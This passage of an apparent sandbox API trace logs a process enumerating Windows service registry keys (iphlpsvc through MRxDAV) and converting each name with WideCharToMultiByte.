[0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0028.268] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x502850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0028.268] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x502850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0028.268] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x502850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0028.268] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x502850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0028.268] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x502850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0028.268] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x502850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0028.268] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x502850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0028.269] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x502850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0028.269] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x502850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0028.269] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x502850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0028.269] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x502850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0028.269] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x502850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0028.269] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x502850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x5a1418, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0028.269] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x502850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x5a1460, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0028.270] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x502850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x5a1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0028.270] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x502850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0028.270] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x502850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0028.270] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x502850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0028.270] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x502850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x5a1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0028.270] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x502850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0028.271] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x502850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0028.271] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x502850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0028.271] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x502850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0028.271] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x502850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0028.271] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x502850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0028.271] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x502850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0028.271] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x502850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0028.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0028.272] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x502850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x5a1460, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0028.272] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x502850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x5a1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0028.272] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x502850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0028.272] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x502850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0028.272] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x502850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0028.272] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x502850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0028.272] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x502850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0028.273] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x502850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x5a1418, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0028.273] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x502850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x5a1460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0028.273] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x502850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0028.273] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x502850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0028.273] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x502850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 